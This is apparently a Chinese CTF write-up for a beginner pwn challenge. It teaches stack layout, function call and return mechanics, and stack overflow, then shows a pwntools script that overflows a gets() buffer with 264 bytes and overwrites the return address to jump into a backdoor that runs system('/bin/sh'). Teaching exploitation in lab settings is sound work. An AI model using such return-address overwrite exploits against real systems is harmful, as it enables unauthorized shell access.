overflow
本题考查栈溢出和对栈结构的理解。
在本题开始之前,你需要先了解栈结构与栈溢出。
栈结构
栈是一种典型的后进先出(Last In First Out)的数据结构,它的基本结构是栈顶(rsp 寄存器的值)和栈底(rbp 寄存器的值)。其操作主要有压栈(push)与出栈(pop)两种操作。push 可以把寄存器里的值或者一个立即数压入栈,pop 则是把 rsp 寄存器(也就是栈顶)指向的值弹出给一个寄存器。
push 操作:
pop 操作:
以 64 位操作系统为例,对于函数调用栈来说,[rbp+8] 的位置会跟随一个 return addr,存储函数的返回地址。
函数调用栈
理解本节时,请严格区分「地址」「值」以及「指针」的概念。
假设有以下函数调用关系:
void send() {
// ...
return;
}
void entry() {
send();
}函数调用栈的栈空间示意图如下,左图为 entry 函数调用 send 函数前的栈空间状态,右图为调用 send 函数后某一时刻的栈空间状态。
函数调用栈中,帧指针(栈底指针) rbp 指向的位置(存储的地址)存储着上一个函数(调用者)的栈底位置(地址)。如上图中,「previous rbp」的值为粉色的「previous rbp」的地址。
而返回地址 return addr 的位置([rbp+8])存储着调用该函数的下一条指令地址(地址)。
栈底元素和返回地址共同承担了函数 return 后「恢复现场」的职责。
函数返回
当函数 return 时,程序会执行 leave 和 ret 指令。
leave 等价于:
mov rsp, rbp ; 将 rbp 的值存储到 rsp 寄存器
pop rbp ; 弹出当前栈顶元素,并保存到 rbp 寄存器TIP
pop xxx 完成了两个操作:存储栈顶元素到 xxx,改变了栈指针(栈顶指针)。
以 64 位操作系统为例,等价于:
mov xxx, [rsp] ; 将栈顶的值(rsp 指针指向的值)加载到 xxx 寄存器
add rsp, 8 ; 栈指针向上移动 8 字节(64 位)mov rsp, rbp 最终将栈指针(栈顶指针)恢复到帧指针(栈底指针)的位置。
pop rbp 最终将帧指针(栈底指针)变为上一个函数的栈底位置。
这样,通过 leave 指令,栈就恢复到调用该函数之前的状态。
ret 等价于:
pop rip ; 弹出当前栈顶元素,并保存到指令指针寄存器 riprip 寄存器存储着下一条将要执行的指令地址。
于是,再通过 ret 指令,程序跳转到 return addr 处继续执行。
函数调用
了解了返回操作后,我们再来理解函数调用时栈的变化,则是「保存现场」。「保存现场」需要保存两个内容:调用者的栈底位置和返回地址。
返回地址的保存由 call 指令完成的,它位于调用函数(在上例代码中为 entry)的诸多指令中。
假设有一个函数 func,它的(起始)地址为 xxx. call xxx 指令等价于:
push rip + 5 ; 将下一条指令地址压入栈中作为返回地址(5 代表指令长度)
jmp xxx ; 跳转到 xxx 地址执行而 func 函数开始时,通常会有如下两条指令:
push rbp ; 将调用者的栈底位置弹入
mov rbp, rsp ; 设置当前函数的栈底位置push rbp 完成了调用者栈底位置的保存。
mov rbp, rsp 设置了当前函数的栈底位置。
这样,函数调用时栈完全切换到了被调用函数栈空间应有的状态。
栈溢出
栈溢出漏洞:通过向栈中写入超出预期的数据,覆盖返回地址或其他关键数据,从而劫持程序的执行流。
由于数组的低索引存储在栈的低地址(靠近栈顶),高索引存储在栈的高地址(靠近栈底),因此当向数组写入过多数据发生溢出时,可以覆盖到 previous rbp 和 return addr 等位于栈的更高地址的内容。
解题
将附件拖入 IDA Pro 中,按下 F5 进行反编译,查看 main 函数:

双击 try 函数,跟进查看,里面有一个 gets 函数,这个函数不限制读入的长度,就会造成栈溢出。

本题还有一个后门函数 backd00r 可以执行 shell.

那么接下来思路就很清晰了,先填垃圾数据把栈填满,然后把 return addr 的位置写上我们的后门函数的地址就能顺利执行 system("/bin/sh").
在反编译界面按 TAB 切换到汇编界面,再按 Space 可以切换视图。

backd00r 函数的地址是 0x401200,但是直接填这个地址会造成栈不对齐的问题,所以我们填 0x401201(不需要进行 push rbp)。
栈对齐
在某些系统架构中,栈需要保持特定的对齐方式(例如 16 字节对齐),以提高内存访问效率和性能。如果栈未正确对齐,可能会导致程序崩溃或性能下降。因此,在进行栈操作时,确保栈指针(rsp)保持适当的对齐是非常重要的。
「+1 偏移」通常用于跳过函数开头的 push rbp 指令。
于是我们要先将 buffer 的 256 字节填满,再填 8 字节覆盖 rbp,最后填上 0x401201 即可。
附解题脚本:
from pwn import *
r = remote('IP', PORT)
# r = process('./overflow')
payload = b'A' * (256 + 8) + p64(0x401201)
r.sendline(payload)
r.interactive()